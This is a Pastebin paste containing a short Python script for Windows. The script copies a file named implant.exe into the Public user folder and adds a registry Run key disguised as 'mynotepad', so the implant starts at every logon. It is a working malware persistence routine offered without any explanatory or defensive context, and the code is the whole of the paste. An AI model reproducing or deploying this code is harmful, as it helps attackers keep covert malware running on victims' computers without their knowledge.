Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os
- import shutil
- from _winreg import *
- n = os.getcwd()
- b = n + '\implant.exe'
- try:
- shutil.copy2(b , 'C:\Users\Public\implant.exe')
- key_my = OpenKey(HKEY_CURRENT_USER,
- r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',
- 0, KEY_ALL_ACCESS)
- SetValueEx(key_my, 'mynotepad', 0, REG_SZ, r'C:\Users\Public\implant.exe')
- CloseKey(key_my)
- except Exception as e:
- print 'suka'
Advertisement
Add Comment
Please, Sign In to add comment